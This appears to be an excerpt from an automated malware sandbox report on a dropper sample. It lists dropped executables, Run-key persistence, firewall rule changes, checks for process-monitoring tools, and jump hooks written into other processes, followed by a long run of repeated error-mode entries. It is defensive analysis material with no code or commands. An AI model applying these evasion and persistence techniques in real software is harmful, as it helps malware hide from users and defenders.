Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-8JVHL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-P0TNH.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\setup[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-HI6SG.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\060[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-0UKVK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zS933D.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-ARFBB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	File created: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Jump to dropped file

Drops PE files to the application program directory (C:\ProgramData)

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe			Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	File created: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Creates or modifies windows services

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 1260005 value: E9 2B BA C5 75	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 76EBBA30 value: E9 DA 45 3A 8A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 12C0008 value: E9 8B 8E C4 75	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 76F08E90 value: E9 80 71 3B 8A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2E80005 value: E9 8B 4D BF 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75A74D90 value: E9 7A B2 40 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2E90005 value: E9 EB EB BF 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75A8EBF0 value: E9 1A 14 40 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2EA0005 value: E9 8B 8A FB 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75E58A90 value: E9 7A 75 04 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 2EB0005 value: E9 2B 02 FD 72	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Memory written: PID: 5768 base: 75E80230 value: E9 DA FD 02 8D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Memory written: PID: 5816 base: 7FF8C8A50008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Memory written: PID: 5816 base: 7FF8C88ED9F0 value: E9 20 26 16 00	Jump to behavior

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_00481A30 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00481A30

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
